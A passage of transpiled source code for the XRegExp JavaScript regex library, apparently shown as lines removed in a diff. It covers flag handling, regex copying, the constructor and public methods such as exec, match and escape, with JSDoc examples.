hasNativeD = hasNativeFlag('d'); // Check for ES2018 `s` flag support - -var hasNativeS = hasNativeFlag('s'); // Check for ES6 `u` flag support - -var hasNativeU = hasNativeFlag('u'); // Check for ES6 `y` flag support - -var hasNativeY = hasNativeFlag('y'); // Tracker for known flags, including addon flags - -var registeredFlags = { - d: hasNativeD, - g: true, - i: true, - m: true, - s: hasNativeS, - u: hasNativeU, - y: hasNativeY -}; // Flags to remove when passing to native `RegExp` constructor - -var nonnativeFlags = hasNativeS ? /[^dgimsuy]+/g : /[^dgimuy]+/g; -/** - * Attaches extended data and `XRegExp.prototype` properties to a regex object. - * - * @private - * @param {RegExp} regex Regex to augment. - * @param {Array} captureNames Array with capture names, or `null`. - * @param {String} xSource XRegExp pattern used to generate `regex`, or `null` if N/A. - * @param {String} xFlags XRegExp flags used to generate `regex`, or `null` if N/A. - * @param {Boolean} [isInternalOnly=false] Whether the regex will be used only for internal - * operations, and never exposed to users. For internal-only regexes, we can improve perf by - * skipping some operations like attaching `XRegExp.prototype` properties. - * @returns {!RegExp} Augmented regex. - */ - -function augment(regex, captureNames, xSource, xFlags, isInternalOnly) { - var _context; - - regex[REGEX_DATA] = { - captureNames: captureNames - }; - - if (isInternalOnly) { - return regex; - } // Can't auto-inherit these since the XRegExp constructor returns a nonprimitive value - - - if (regex.__proto__) { - regex.__proto__ = XRegExp.prototype; - } else { - for (var p in XRegExp.prototype) { - // An `XRegExp.prototype.hasOwnProperty(p)` check wouldn't be worth it here, since this - // is performance sensitive, and enumerable `Object.prototype` or `RegExp.prototype` - // extensions exist on `regex.prototype` anyway - regex[p] = XRegExp.prototype[p]; - } - } - - regex[REGEX_DATA].source = xSource; // Emulate the ES6 `flags` prop by ensuring flags are in alphabetical order - - regex[REGEX_DATA].flags = xFlags ? (0, _sort["default"])(_context = xFlags.split('')).call(_context).join('') : xFlags; - return regex; -} -/** - * Removes any duplicate characters from the provided string. - * - * @private - * @param {String} str String to remove duplicate characters from. - * @returns {string} String with any duplicate characters removed. - */ - - -function clipDuplicates(str) { - return str.replace(/([\s\S])(?=[\s\S]*\1)/g, ''); -} -/** - * Copies a regex object while preserving extended data and augmenting with `XRegExp.prototype` - * properties. The copy has a fresh `lastIndex` property (set to zero). Allows adding and removing - * flags g and y while copying the regex. - * - * @private - * @param {RegExp} regex Regex to copy. - * @param {Object} [options] Options object with optional properties: - * - `addG` {Boolean} Add flag g while copying the regex. - * - `addY` {Boolean} Add flag y while copying the regex. - * - `removeG` {Boolean} Remove flag g while copying the regex. - * - `removeY` {Boolean} Remove flag y while copying the regex. - * - `isInternalOnly` {Boolean} Whether the copied regex will be used only for internal - * operations, and never exposed to users. For internal-only regexes, we can improve perf by - * skipping some operations like attaching `XRegExp.prototype` properties. - * - `source` {String} Overrides `<regex>.source`, for special cases. - * @returns {RegExp} Copy of the provided regex, possibly with modified flags. - */ - - -function copyRegex(regex, options) { - var _context2; - - if (!XRegExp.isRegExp(regex)) { - throw new TypeError('Type RegExp expected'); - } - - var xData = regex[REGEX_DATA] || {}; - var flags = getNativeFlags(regex); - var flagsToAdd = ''; - var flagsToRemove = ''; - var xregexpSource = null; - var xregexpFlags = null; - options = options || {}; - - if (options.removeG) { - flagsToRemove += 'g'; - } - - if (options.removeY) { - flagsToRemove += 'y'; - } - - if (flagsToRemove) { - flags = flags.replace(new RegExp("[".concat(flagsToRemove, "]+"), 'g'), ''); - } - - if (options.addG) { - flagsToAdd += 'g'; - } - - if (options.addY) { - flagsToAdd += 'y'; - } - - if (flagsToAdd) { - flags = clipDuplicates(flags + flagsToAdd); - } - - if (!options.isInternalOnly) { - if (xData.source !== undefined) { - xregexpSource = xData.source; - } // null or undefined; don't want to add to `flags` if the previous value was null, since - // that indicates we're not tracking original precompilation flags - - - if ((0, _flags["default"])(xData) != null) { - // Flags are only added for non-internal regexes by `XRegExp.globalize`. Flags are never - // removed for non-internal regexes, so don't need to handle it - xregexpFlags = flagsToAdd ? clipDuplicates((0, _flags["default"])(xData) + flagsToAdd) : (0, _flags["default"])(xData); - } - } // Augment with `XRegExp.prototype` properties, but use the native `RegExp` constructor to avoid - // searching for special tokens. That would be wrong for regexes constructed by `RegExp`, and - // unnecessary for regexes constructed by `XRegExp` because the regex has already undergone the - // translation to native regex syntax - - - regex = augment(new RegExp(options.source || regex.source, flags), hasNamedCapture(regex) ? (0, _slice["default"])(_context2 = xData.captureNames).call(_context2, 0) : null, xregexpSource, xregexpFlags, options.isInternalOnly); - return regex; -} -/** - * Converts hexadecimal to decimal. - * - * @private - * @param {String} hex - * @returns {number} - */ - - -function dec(hex) { - return (0, _parseInt2["default"])(hex, 16); -} -/** - * Returns a pattern that can be used in a native RegExp in place of an ignorable token such as an - * inline comment or whitespace with flag x. This is used directly as a token handler function - * passed to `XRegExp.addToken`. - * - * @private - * @param {String} match Match arg of `XRegExp.addToken` handler - * @param {String} scope Scope arg of `XRegExp.addToken` handler - * @param {String} flags Flags arg of `XRegExp.addToken` handler - * @returns {string} Either '' or '(?:)', depending on which is needed in the context of the match. - */ - - -function getContextualTokenSeparator(match, scope, flags) { - var matchEndPos = match.index + match[0].length; - var precedingChar = match.input[match.index - 1]; - var followingChar = match.input[matchEndPos]; - - if ( // No need to separate tokens if at the beginning or end of a group, before or after a - // group, or before or after a `|` - /^[()|]$/.test(precedingChar) || /^[()|]$/.test(followingChar) || // No need to separate tokens if at the beginning or end of the pattern - match.index === 0 || matchEndPos === match.input.length || // No need to separate tokens if at the beginning of a noncapturing group or lookaround. - // Looks only at the last 4 chars (at most) for perf when constructing long regexes. - /\(\?(?:[:=!]|<[=!])$/.test(match.input.substring(match.index - 4, match.index)) || // Avoid separating tokens when the following token is a quantifier - isQuantifierNext(match.input, matchEndPos, flags)) { - return ''; - } // Keep tokens separated. This avoids e.g. inadvertedly changing `\1 1` or `\1(?#)1` to `\11`. - // This also ensures all tokens remain as discrete atoms, e.g. it prevents converting the - // syntax error `(? :` into `(?:`. - - - return '(?:)'; -} -/** - * Returns native `RegExp` flags used by a regex object. - * - * @private - * @param {RegExp} regex Regex to check. - * @returns {string} Native flags in use. - */ - - -function getNativeFlags(regex) { - return hasFlagsProp ? (0, _flags["default"])(regex) : // Explicitly using `RegExp.prototype.toString` (rather than e.g. `String` or concatenation - // with an empty string) allows this to continue working predictably when - // `XRegExp.proptotype.toString` is overridden - /\/([a-z]*)$/i.exec(RegExp.prototype.toString.call(regex))[1]; -} -/** - * Determines whether a regex has extended instance data used to track capture names. - * - * @private - * @param {RegExp} regex Regex to check. - * @returns {boolean} Whether the regex uses named capture. - */ - - -function hasNamedCapture(regex) { - return !!(regex[REGEX_DATA] && regex[REGEX_DATA].captureNames); -} -/** - * Converts decimal to hexadecimal. - * - * @private - * @param {Number|String} dec - * @returns {string} - */ - - -function hex(dec) { - return (0, _parseInt2["default"])(dec, 10).toString(16); -} -/** - * Checks whether the next nonignorable token after the specified position is a quantifier. - * - * @private - * @param {String} pattern Pattern to search within. - * @param {Number} pos Index in `pattern` to search at. - * @param {String} flags Flags used by the pattern. - * @returns {Boolean} Whether the next nonignorable token is a quantifier. - */ - - -function isQuantifierNext(pattern, pos, flags) { - var inlineCommentPattern = '\\(\\?#[^)]*\\)'; - var lineCommentPattern = '#[^#\\n]*'; - var quantifierPattern = '[?*+]|{\\d+(?:,\\d*)?}'; - var regex = (0, _indexOf["default"])(flags).call(flags, 'x') !== -1 ? // Ignore any leading whitespace, line comments, and inline comments - /^(?:\s|#[^#\n]*|\(\?#[^)]*\))*(?:[?*+]|{\d+(?:,\d*)?})/ : // Ignore any leading inline comments - /^(?:\(\?#[^)]*\))*(?:[?*+]|{\d+(?:,\d*)?})/; - return regex.test((0, _slice["default"])(pattern).call(pattern, pos)); -} -/** - * Determines whether a value is of the specified type, by resolving its internal [[Class]]. - * - * @private - * @param {*} value Object to check. - * @param {String} type Type to check for, in TitleCase. - * @returns {boolean} Whether the object matches the type. - */ - - -function isType(value, type) { - return Object.prototype.toString.call(value) === "[object ".concat(type, "]"); -} -/** - * Returns the object, or throws an error if it is `null` or `undefined`. This is used to follow - * the ES5 abstract operation `ToObject`. - * - * @private - * @param {*} value Object to check and return. - * @returns {*} The provided object. - */ - - -function nullThrows(value) { - // null or undefined - if (value == null) { - throw new TypeError('Cannot convert null or undefined to object'); - } - - return value; -} -/** - * Adds leading zeros if shorter than four characters. Used for fixed-length hexadecimal values. - * - * @private - * @param {String} str - * @returns {string} - */ - - -function pad4(str) { - while (str.length < 4) { - str = "0".concat(str); - } - - return str; -} -/** - * Checks for flag-related errors, and strips/applies flags in a leading mode modifier. Offloads - * the flag preparation logic from the `XRegExp` constructor. - * - * @private - * @param {String} pattern Regex pattern, possibly with a leading mode modifier. - * @param {String} flags Any combination of flags. - * @returns {!Object} Object with properties `pattern` and `flags`. - */ - - -function prepareFlags(pattern, flags) { - // Recent browsers throw on duplicate flags, so copy this behavior for nonnative flags - if (clipDuplicates(flags) !== flags) { - throw new SyntaxError("Invalid duplicate regex flag ".concat(flags)); - } // Strip and apply a leading mode modifier with any combination of flags except `dgy` - - - pattern = pattern.replace(/^\(\?([\w$]+)\)/, function ($0, $1) { - if (/[dgy]/.test($1)) { - throw new SyntaxError("Cannot use flags dgy in mode modifier ".concat($0)); - } // Allow duplicate flags within the mode modifier - - - flags = clipDuplicates(flags + $1); - return ''; - }); // Throw on unknown native or nonnative flags - - var _iterator = _createForOfIteratorHelper(flags), - _step; - - try { - for (_iterator.s(); !(_step = _iterator.n()).done;) { - var flag = _step.value; - - if (!registeredFlags[flag]) { - throw new SyntaxError("Unknown regex flag ".concat(flag)); - } - } - } catch (err) { - _iterator.e(err); - } finally { - _iterator.f(); - } - - return { - pattern: pattern, - flags: flags - }; -} -/** - * Prepares an options object from the given value. - * - * @private - * @param {String|Object} value Value to convert to an options object. - * @returns {Object} Options object. - */ - - -function prepareOptions(value) { - var options = {}; - - if (isType(value, 'String')) { - (0, _forEach["default"])(XRegExp).call(XRegExp, value, /[^\s,]+/, function (match) { - options[match] = true; - }); - return options; - } - - return value; -} -/** - * Registers a flag so it doesn't throw an 'unknown flag' error. - * - * @private - * @param {String} flag Single-character flag to register. - */ - - -function registerFlag(flag) { - if (!/^[\w$]$/.test(flag)) { - throw new Error('Flag must be a single character A-Za-z0-9_$'); - } - - registeredFlags[flag] = true; -} -/** - * Runs built-in and custom regex syntax tokens in reverse insertion order at the specified - * position, until a match is found. - * - * @private - * @param {String} pattern Original pattern from which an XRegExp object is being built. - * @param {String} flags Flags being used to construct the regex. - * @param {Number} pos Position to search for tokens within `pattern`. - * @param {Number} scope Regex scope to apply: 'default' or 'class'. - * @param {Object} context Context object to use for token handler functions. - * @returns {Object} Object with properties `matchLength`, `output`, and `reparse`; or `null`. - */ - - -function runTokens(pattern, flags, pos, scope, context) { - var i = tokens.length; - var leadChar = pattern[pos]; - var result = null; - var match; - var t; // Run in reverse insertion order - - while (i--) { - t = tokens[i]; - - if (t.leadChar && t.leadChar !== leadChar || t.scope !== scope && t.scope !== 'all' || t.flag && !((0, _indexOf["default"])(flags).call(flags, t.flag) !== -1)) { - continue; - } - - match = XRegExp.exec(pattern, t.regex, pos, 'sticky'); - - if (match) { - result = { - matchLength: match[0].length, - output: t.handler.call(context, match, scope, flags), - reparse: t.reparse - }; // Finished with token tests - - break; - } - } - - return result; -} -/** - * Enables or disables implicit astral mode opt-in. When enabled, flag A is automatically added to - * all new regexes created by XRegExp. This causes an error to be thrown when creating regexes if - * the Unicode Base addon is not available, since flag A is registered by that addon. - * - * @private - * @param {Boolean} on `true` to enable; `false` to disable. - */ - - -function setAstral(on) { - features.astral = on; -} -/** - * Adds named capture groups to the `groups` property of match arrays. See here for details: - * https://github.com/tc39/proposal-regexp-named-groups - * - * @private - * @param {Boolean} on `true` to enable; `false` to disable. - */ - - -function setNamespacing(on) { - features.namespacing = on; -} // ==--------------------------== -// Constructor -// ==--------------------------== - -/** - * Creates an extended regular expression object for matching text with a pattern. Differs from a - * native regular expression in that additional syntax and flags are supported. The returned object - * is in fact a native `RegExp` and works with all native methods. - * - * @class XRegExp - * @constructor - * @param {String|RegExp} pattern Regex pattern string, or an existing regex object to copy. - * @param {String} [flags] Any combination of flags. - * Native flags: - * - `d` - indices for capturing groups (ES2021) - * - `g` - global - * - `i` - ignore case - * - `m` - multiline anchors - * - `u` - unicode (ES6) - * - `y` - sticky (Firefox 3+, ES6) - * Additional XRegExp flags: - * - `n` - named capture only - * - `s` - dot matches all (aka singleline) - works even when not natively supported - * - `x` - free-spacing and line comments (aka extended) - * - `A` - 21-bit Unicode properties (aka astral) - requires the Unicode Base addon - * Flags cannot be provided when constructing one `RegExp` from another. - * @returns {RegExp} Extended regular expression object. - * @example - * - * // With named capture and flag x - * XRegExp(`(?<year> [0-9]{4} ) -? # year - * (?<month> [0-9]{2} ) -? # month - * (?<day> [0-9]{2} ) # day`, 'x'); - * - * // Providing a regex object copies it. Native regexes are recompiled using native (not XRegExp) - * // syntax. Copies maintain extended data, are augmented with `XRegExp.prototype` properties, and - * // have fresh `lastIndex` properties (set to zero). - * XRegExp(/regex/); - */ - - -function XRegExp(pattern, flags) { - if (XRegExp.isRegExp(pattern)) { - if (flags !== undefined) { - throw new TypeError('Cannot supply flags when copying a RegExp'); - } - - return copyRegex(pattern); - } // Copy the argument behavior of `RegExp` - - - pattern = pattern === undefined ? '' : String(pattern); - flags = flags === undefined ? '' : String(flags); - - if (XRegExp.isInstalled('astral') && !((0, _indexOf["default"])(flags).call(flags, 'A') !== -1)) { - // This causes an error to be thrown if the Unicode Base addon is not available - flags += 'A'; - } - - if (!patternCache[pattern]) { - patternCache[pattern] = {}; - } - - if (!patternCache[pattern][flags]) { - var context = { - hasNamedCapture: false, - captureNames: [] - }; - var scope = defaultScope; - var output = ''; - var pos = 0; - var result; // Check for flag-related errors, and strip/apply flags in a leading mode modifier - - var applied = prepareFlags(pattern, flags); - var appliedPattern = applied.pattern; - var appliedFlags = (0, _flags["default"])(applied); // Use XRegExp's tokens to translate the pattern to a native regex pattern. - // `appliedPattern.length` may change on each iteration if tokens use `reparse` - - while (pos < appliedPattern.length) { - do { - // Check for custom tokens at the current position - result = runTokens(appliedPattern, appliedFlags, pos, scope, context); // If the matched token used the `reparse` option, splice its output into the - // pattern before running tokens again at the same position - - if (result && result.reparse) { - appliedPattern = (0, _slice["default"])(appliedPattern).call(appliedPattern, 0, pos) + result.output + (0, _slice["default"])(appliedPattern).call(appliedPattern, pos + result.matchLength); - } - } while (result && result.reparse); - - if (result) { - output += result.output; - pos += result.matchLength || 1; - } else { - // Get the native token at the current position - var _XRegExp$exec = XRegExp.exec(appliedPattern, nativeTokens[scope], pos, 'sticky'), - _XRegExp$exec2 = (0, _slicedToArray2["default"])(_XRegExp$exec, 1), - token = _XRegExp$exec2[0]; - - output += token; - pos += token.length; - - if (token === '[' && scope === defaultScope) { - scope = classScope; - } else if (token === ']' && scope === classScope) { - scope = defaultScope; - } - } - } - - patternCache[pattern][flags] = { - // Use basic cleanup to collapse repeated empty groups like `(?:)(?:)` to `(?:)`. Empty - // groups are sometimes inserted during regex transpilation in order to keep tokens - // separated. However, more than one empty group in a row is never needed. - pattern: output.replace(/(?:\(\?:\))+/g, '(?:)'), - // Strip all but native flags - flags: appliedFlags.replace(nonnativeFlags, ''), - // `context.captureNames` has an item for each capturing group, even if unnamed - captures: context.hasNamedCapture ? context.captureNames : null - }; - } - - var generated = patternCache[pattern][flags]; - return augment(new RegExp(generated.pattern, (0, _flags["default"])(generated)), generated.captures, pattern, flags); -} // Add `RegExp.prototype` to the prototype chain - - -XRegExp.prototype = /(?:)/; // ==--------------------------== -// Public properties -// ==--------------------------== - -/** - * The XRegExp version number as a string containing three dot-separated parts. For example, - * '2.0.0-beta-3'. - * - * @static - * @memberOf XRegExp - * @type String - */ - -XRegExp.version = '5.1.1'; // ==--------------------------== -// Public methods -// ==--------------------------== -// Intentionally undocumented; used in tests and addons - -XRegExp._clipDuplicates = clipDuplicates; -XRegExp._hasNativeFlag = hasNativeFlag; -XRegExp._dec = dec; -XRegExp._hex = hex; -XRegExp._pad4 = pad4; -/** - * Extends XRegExp syntax and allows custom flags. This is used internally and can be used to - * create XRegExp addons. If more than one token can match the same string, the last added wins. - * - * @memberOf XRegExp - * @param {RegExp} regex Regex object that matches the new token. - * @param {Function} handler Function that returns a new pattern string (using native regex syntax) - * to replace the matched token within all future XRegExp regexes. Has access to persistent - * properties of the regex being built, through `this`. Invoked with three arguments: - * - The match array, with named backreference properties. - * - The regex scope where the match was found: 'default' or 'class'. - * - The flags used by the regex, including any flags in a leading mode modifier. - * The handler function becomes part of the XRegExp construction process, so be careful not to - * construct XRegExps within the function or you will trigger infinite recursion. - * @param {Object} [options] Options object with optional properties: - * - `scope` {String} Scope where the token applies: 'default', 'class', or 'all'. - * - `flag` {String} Single-character flag that triggers the token. This also registers the - * flag, which prevents XRegExp from throwing an 'unknown flag' error when the flag is used. - * - `optionalFlags` {String} Any custom flags checked for within the token `handler` that are - * not required to trigger the token. This registers the flags, to prevent XRegExp from - * throwing an 'unknown flag' error when any of the flags are used. - * - `reparse` {Boolean} Whether the `handler` function's output should not be treated as - * final, and instead be reparseable by other tokens (including the current token). Allows - * token chaining or deferring. - * - `leadChar` {String} Single character that occurs at the beginning of any successful match - * of the token (not always applicable). This doesn't change the behavior of the token unless - * you provide an erroneous value. However, providing it can increase the token's performance - * since the token can be skipped at any positions where this character doesn't appear. - * @example - * - * // Basic usage: Add \a for the ALERT control code - * XRegExp.addToken( - * /\\a/, - * () => '\\x07', - * {scope: 'all'} - * ); - * XRegExp('\\a[\\a-\\n]+').test('\x07\n\x07'); // -> true - * - * // Add the U (ungreedy) flag from PCRE and RE2, which reverses greedy and lazy quantifiers. - * // Since `scope` is not specified, it uses 'default' (i.e., transformations apply outside of - * // character classes only) - * XRegExp.addToken( - * /([?*+]|{\d+(?:,\d*)?})(\??)/, - * (match) => `${match[1]}${match[2] ? '' : '?'}`, - * {flag: 'U'} - * ); - * XRegExp('a+', 'U').exec('aaa')[0]; // -> 'a' - * XRegExp('a+?', 'U').exec('aaa')[0]; // -> 'aaa' - */ - -XRegExp.addToken = function (regex, handler, options) { - options = options || {}; - var _options = options, - optionalFlags = _options.optionalFlags; - - if (options.flag) { - registerFlag(options.flag); - } - - if (optionalFlags) { - optionalFlags = optionalFlags.split(''); - - var _iterator2 = _createForOfIteratorHelper(optionalFlags), - _step2; - - try { - for (_iterator2.s(); !(_step2 = _iterator2.n()).done;) { - var flag = _step2.value; - registerFlag(flag); - } - } catch (err) { - _iterator2.e(err); - } finally { - _iterator2.f(); - } - } // Add to the private list of syntax tokens - - - tokens.push({ - regex: copyRegex(regex, { - addG: true, - addY: hasNativeY, - isInternalOnly: true - }), - handler: handler, - scope: options.scope || defaultScope, - flag: options.flag, - reparse: options.reparse, - leadChar: options.leadChar - }); // Reset the pattern cache used by the `XRegExp` constructor, since the same pattern and flags - // might now produce different results - - XRegExp.cache.flush('patterns'); -}; -/** - * Caches and returns the result of calling `XRegExp(pattern, flags)`. On any subsequent call with - * the same pattern and flag combination, the cached copy of the regex is returned. - * - * @memberOf XRegExp - * @param {String} pattern Regex pattern string. - * @param {String} [flags] Any combination of XRegExp flags. - * @returns {RegExp} Cached XRegExp object. - * @example - * - * let match; - * while (match = XRegExp.cache('.', 'gs').exec('abc')) { - * // The regex is compiled once only - * } - */ - - -XRegExp.cache = function (pattern, flags) { - if (!regexCache[pattern]) { - regexCache[pattern] = {}; - } - - return regexCache[pattern][flags] || (regexCache[pattern][flags] = XRegExp(pattern, flags)); -}; // Intentionally undocumented; used in tests - - -XRegExp.cache.flush = function (cacheName) { - if (cacheName === 'patterns') { - // Flush the pattern cache used by the `XRegExp` constructor - patternCache = {}; - } else { - // Flush the regex cache populated by `XRegExp.cache` - regexCache = {}; - } -}; -/** - * Escapes any regular expression metacharacters, for use when matching literal strings. The result - * can safely be used at any position within a regex that uses any flags. - * - * @memberOf XRegExp - * @param {String} str String to escape. - * @returns {string} String with regex metacharacters escaped. - * @example - * - * XRegExp.escape('Escaped? <.>'); - * // -> 'Escaped\?\u0020<\.>' - */ -// Following are the contexts where each metacharacter needs to be escaped because it would -// otherwise have a special meaning, change the meaning of surrounding characters, or cause an -// error. Context 'default' means outside character classes only. -// - `\` - context: all -// - `[()*+?.$|` - context: default -// - `]` - context: default with flag u or if forming the end of a character class -// - `{}` - context: default with flag u or if part of a valid/complete quantifier pattern -// - `,` - context: default if in a position that causes an unescaped `{` to turn into a quantifier. -// Ex: `/^a{1\,2}$/` matches `'a{1,2}'`, but `/^a{1,2}$/` matches `'a'` or `'aa'` -// - `#` and <whitespace> - context: default with flag x -// - `^` - context: default, and context: class if it's the first character in the class -// - `-` - context: class if part of a valid character class range - - -XRegExp.escape = function (str) { - return String(nullThrows(str)). // Escape most special chars with a backslash - replace(/[\\\[\]{}()*+?.^$|]/g, '\\$&'). // Convert to \uNNNN for special chars that can't be escaped when used with ES6 flag `u` - replace(/[\s#\-,]/g, function (match) { - return "\\u".concat(pad4(hex(match.charCodeAt(0)))); - }); -}; -/** - * Executes a regex search in a specified string. Returns a match array or `null`. If the provided - * regex uses named capture, named capture properties are included on the match array's `groups` - * property. Optional `pos` and `sticky` arguments specify the search start position, and whether - * the match must start at the specified position only. The `lastIndex` property of the provided - * regex is not used, but is updated for compatibility. Also fixes browser bugs compared to the - * native `RegExp.prototype.exec` and can be used reliably cross-browser. - * - * @memberOf XRegExp - * @param {String} str String to search. - * @param {RegExp} regex Regex to search with. - * @param {Number} [pos=0] Zero-based index at which to start the search. - * @param {Boolean|String} [sticky=false] Whether the match must start at the specified position - * only. The string `'sticky'` is accepted as an alternative to `true`. - * @returns {Array} Match array with named capture properties on the `groups` object, or `null`. If - * the `namespacing` feature is off, named capture properties are directly on the match array. - * @example - * - * // Basic use, with named capturing group - * let match = XRegExp.exec('U+2620', XRegExp('U\\+(?<hex>[0-9A-F]{4})')); - * match.groups.hex; // -> '2620' - * - * // With pos and sticky, in a loop - * let pos = 3, result = [], match; - * while (match = XRegExp.exec('<1><2><3><4>5<6>', /<(\d)>/, pos, 'sticky')) { - * result.push(match[1]); - * pos = match.index + match[0].length; - * } - * // result -> ['2', '3', '4'] - */ - - -XRegExp.exec = function (str, regex, pos, sticky) { - var cacheKey = 'g'; - var addY = false; - var fakeY = false; - var match; - addY = hasNativeY && !!(sticky || regex.sticky && sticky !== false); - - if (addY) { - cacheKey += 'y'; - } else if (sticky) { - // Simulate sticky matching by appending an empty capture to the original regex. The - // resulting regex will succeed no matter what at the current index (set with `lastIndex`), - // and will not search the rest of the subject string. We'll know that the original regex - // has failed if that last capture is `''` rather than `undefined` (i.e., if that last - // capture participated in the match). - fakeY = true; - cacheKey += 'FakeY'; - } - - regex[REGEX_DATA] = regex[REGEX_DATA] || {}; // Shares cached copies with `XRegExp.match`/`replace` - - var r2 = regex[REGEX_DATA][cacheKey] || (regex[REGEX_DATA][cacheKey] = copyRegex(regex, { - addG: true, - addY: addY, - source: fakeY ? "".concat(regex.source, "|()") : undefined, - removeY: sticky === false, - isInternalOnly: true - })); - pos = pos || 0; - r2.lastIndex = pos; // Fixed `exec` required for `lastIndex` fix, named backreferences, etc. - - match = fixed.exec.call(r2, str); // Get rid of the capture added by the pseudo-sticky matcher if needed. An empty string means - // the original regexp failed (see above). - - if (fakeY && match && match.pop() === '') { - match = null; - } - - if (regex.global) { - regex.lastIndex = match ? r2.lastIndex : 0; - } - - return match; -}; -/** - * Executes a provided function once per regex match. Searches always start at the beginning of the - * string and continue until the end, regardless of the state of the regex's `global` property and - * initial `lastIndex`. - * - * @memberOf XRegExp - * @param {String} str String to search. - * @param {RegExp} regex Regex to search with. - * @param {Function} callback Function to execute for each match. Invoked with four arguments: - * - The match array, with named backreference properties. - * - The zero-based match index. - * - The string being traversed. - * - The regex object being used to traverse the string. - * @example - * - * // Extracts every other digit from a string - * const evens = []; - * XRegExp.forEach('1a2345', /\d/, (match, i) => { - * if (i % 2) evens.push(+match[0]); - * }); - * // evens -> [2, 4] - */ - - -XRegExp.forEach = function (str, regex, callback) { - var pos = 0; - var i = -1; - var match; - - while (match = XRegExp.exec(str, regex, pos)) { - // Because `regex` is provided to `callback`, the function could use the deprecated/ - // nonstandard `RegExp.prototype.compile` to mutate the regex. However, since `XRegExp.exec` - // doesn't use `lastIndex` to set the search position, this can't lead to an infinite loop, - // at least. Actually, because of the way `XRegExp.exec` caches globalized versions of - // regexes, mutating the regex will not have any effect on the iteration or matched strings, - // which is a nice side effect that brings extra safety. - callback(match, ++i, str, regex); - pos = match.index + (match[0].length || 1); - } -}; -/** - * Copies a regex object and adds flag `g`. The copy maintains extended data, is augmented with - * `XRegExp.prototype` properties, and has a fresh `lastIndex` property (set to zero). Native - * regexes are not recompiled using XRegExp syntax. - * - * @memberOf XRegExp - * @param {RegExp} regex Regex to globalize. - * @returns {RegExp} Copy of the provided regex with flag `g` added. - * @example - * - * const globalCopy = XRegExp.globalize(/regex/); - * globalCopy.global; // -> true - */ - - -XRegExp.globalize = function (regex) { - return copyRegex(regex, { - addG: true - }); -}; -/** - * Installs optional features according to the specified options. Can be undone using - * `XRegExp.uninstall`. - * - * @memberOf XRegExp - * @param {Object|String} options Options object or string. - * @example - * - * // With an options object - * XRegExp.install({ - * // Enables support for astral code points in Unicode addons (implicitly sets flag A) - * astral: true, - * - * // Adds named capture groups to the `groups` property of matches - * namespacing: true - * }); - * - * // With an options string - * XRegExp.install('astral namespacing'); - */ - - -XRegExp.install = function (options) { - options = prepareOptions(options); - - if (!features.astral && options.astral) { - setAstral(true); - } - - if (!features.namespacing && options.namespacing) { - setNamespacing(true); - } -}; -/** - * Checks whether an individual optional feature is installed. - * - * @memberOf XRegExp - * @param {String} feature Name of the feature to check. One of: - * - `astral` - * - `namespacing` - * @returns {boolean} Whether the feature is installed. - * @example - * - * XRegExp.isInstalled('astral'); - */ - - -XRegExp.isInstalled = function (feature) { - return !!features[feature]; -}; -/** - * Returns `true` if an object is a regex; `false` if it isn't. This works correctly for regexes - * created in another frame, when `instanceof` and `constructor` checks would fail. - * - * @memberOf XRegExp - * @param {*} value Object to check. - * @returns {boolean} Whether the object is a `RegExp` object. - * @example - * - * XRegExp.isRegExp('string'); // -> false - * XRegExp.isRegExp(/regex/i); // -> true - * XRegExp.isRegExp(RegExp('^', 'm')); // -> true - * XRegExp.isRegExp(XRegExp('(?s).')); // -> true - */ - - -XRegExp.isRegExp = function (value) { - return Object.prototype.toString.call(value) === '[object RegExp]'; -}; // Same as `isType(value, 'RegExp')`, but avoiding that function call here for perf since -// `isRegExp` is used heavily by internals including regex construction - -/** - * Returns the first matched string, or in global mode, an array containing all matched strings. - * This is essentially a more convenient re-implementation of `String.prototype.match` that gives - * the result types you actually want (string instead of `exec`-style array in match-first mode, - * and an empty array instead of `null` when no matches are found in match-all mode). It also lets - * you override flag g and ignore `lastIndex`, and fixes browser bugs. - * - * @memberOf XRegExp - * @param {String} str String to search. - * @param {RegExp} regex Regex to search with. - * @param {String} [scope='one'] Use 'one' to return the first match as a string. Use 'all' to - * return an array of all matched strings. If not explicitly specified and `regex` uses flag g, - * `scope` is 'all'. - * @returns {String|Array} In match-first mode: First match as a string, or `null`. In match-all - * mode: Array of all matched strings, or an empty array. - * @example - * - * // Match first - * XRegExp.match('abc', /\w/); // -> 'a' - * XRegExp.match('abc', /\w/g, 'one'); // -> 'a' - * XRegExp.match('abc', /x/g, 'one'); // -> null - * - * // Match all - * XRegExp.match('abc', /\w/g); // -> ['a', 'b', 'c'] - * XRegExp.match('abc', /\w/, 'all'); // -> ['a', 'b', 'c'] - * XRegExp.match('abc', /x/, 'all'); // -> [] - */ - - -XRegExp.match = function (str, regex, scope) { - var global = regex.global && scope !== 'one' || scope === 'all'; - var cacheKey = (global ? 'g' : '') + (regex.sticky ? 'y' : '') || 'noGY'; - regex[REGEX_DATA] = regex[REGEX_DATA] || {}; // Shares cached copies with `XRegExp.exec`/`replace` - - var r2 = regex[REGEX_DATA][cacheKey] || (regex[REGEX_DATA][cacheKey] = copyRegex(regex, { - addG: !!global, - removeG: scope === 'one', - isInternalOnly: true - })); - var result = String(nullThrows(str)).match(r2); - - if (regex.global) { - regex.lastIndex = scope === 'one' && result ? // Can't use `r2.lastIndex` since `r2` is nonglobal in this case - result.index + result[0].length : 0; - } - - return global ? result || [] : result && result[0]; -}; -/** - * Retrieves the matches from searching a string using a chain of regexes that successively search - * within previous matches. The provided `chain` array can contain regexes and or objects with - * `regex` and `backref` properties. When a backreference is specified, the named or numbered - * backreference is passed forward to the next regex or returned. - * - * @memberOf XRegExp - * @param {String} str String to search. - * @param {Array} chain Regexes that each search for matches within preceding results. - * @returns {Array} Matches by the last regex in the chain, or an empty array. - * @example - * - * // Basic usage; matches numbers within <b> tags - * XRegExp.matchChain('1 <b>2</b> 3 <b>4 a 56</b>', [ - * XRegExp('(?is)<b>.*?</b>'), - * /\d+/ - * ]); - * // -> ['2', '4', '56'] - * - * // Passing forward and returning specific backreferences - * const html = `<a href="http://xregexp.com/api/">XRegExp</a> - * <a href="http://www.google.com/">Google</a>`; - * XRegExp.matchChain(html, [ - * {regex: /<a href="([^"]+)">/i, backref: 1}, - * {regex: XRegExp('(?i)^https?://(?<domain>[^/?#]+)'), backref: 'domain'} - * ]); - * // -> ['xregexp.com', 'www.google.com'] - */ - - -XRegExp.matchChain = function (str, chain) { - return function recurseChain(values, level) { - var item = chain[level].regex ? chain[level] : { - regex: chain[level] - }; - var matches = []; - - function addMatch(match) { - if (item.backref) { - var ERR_UNDEFINED_GROUP = "Backreference to undefined group: ".concat(item.backref); - var isNamedBackref = 